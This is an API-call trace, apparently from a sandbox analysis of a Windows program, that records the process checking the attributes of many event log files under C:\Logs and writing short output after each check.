	[0083.545] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.591] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.592] VirtualAlloc (lpAddress=0xc000496000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000496000
	[0083.599] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.599] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.646] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0083.647] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.647] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.647] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.647] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.647] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.647] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.647] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.647] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.648] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.648] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.648] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.648] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.792] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.793] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.856] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.862] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.862] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.862] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.863] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.863] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.863] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.863] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.087] SetEvent (hEvent=0x120) returned 1
	[0084.087] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.087] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.087] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.087] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.087] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.087] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.088] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.088] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.088] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.088] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.135] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.136] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0084.138] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.138] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.141] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.141] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.142] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.143] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.143] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.143] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.144] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.144] VirtualAlloc (lpAddress=0xc000498000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000498000
	[0084.152] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.154] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.155] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0084.170] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.171] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.173] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.174] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000)) returned 1
	[0084.175] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.176] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0084.185] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0084.185] GetFileAttributesExW (in: lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000)) returned 1
